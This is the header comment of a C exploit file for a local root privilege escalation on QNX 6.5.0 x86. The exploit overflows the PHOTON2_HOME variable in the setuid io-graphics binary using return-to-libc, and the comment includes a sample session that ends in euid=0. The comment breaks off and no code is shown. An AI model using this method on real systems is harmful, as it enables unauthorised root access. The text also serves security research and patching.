/*
* QNX 6.5.0 x86 io-graphics local root exploit by cenobyte 2013
* <vincitamorpatriae@gmail.com>
*
* - vulnerability description:
* Setuid root /usr/photon/bin/io-graphics on QNX is prone to a buffer overflow.
* The vulnerability is due to insufficent bounds checking of the PHOTON2_HOME
* environment variable.
*
* - vulnerable platforms:
* QNX 6.5.0SP1
* QNX 6.5.0
* QNX 6.4.1
*
* - not vulnerable:
* QNX 6.3.0
*
* - exploit information:
* This is a return-to-libc exploit that yields euid=0. The addresses of
* system() and exit() are retrieved from libc using dlsym().
*
* The address of /bin/sh is retrieved by searching from address 0xb0300000.
*
* - example:
* $ uname -a
* QNX localhost 6.5.0 2010/07/09-14:44:03EDT x86pc x86
* $ id
* uid=100(user) gid=100
* $ ./qnx-io-graphics
* QNX io-graphics 6.5.0 x86 local root exploit by cenobyte 2013
* [-] system(): 0xb031bd80
* [-] exit(): 0xb032b5f0
* [-] /bin/sh: 0xb0374412
* # id
* uid=100(user) gid=100 euid=0(root)
*
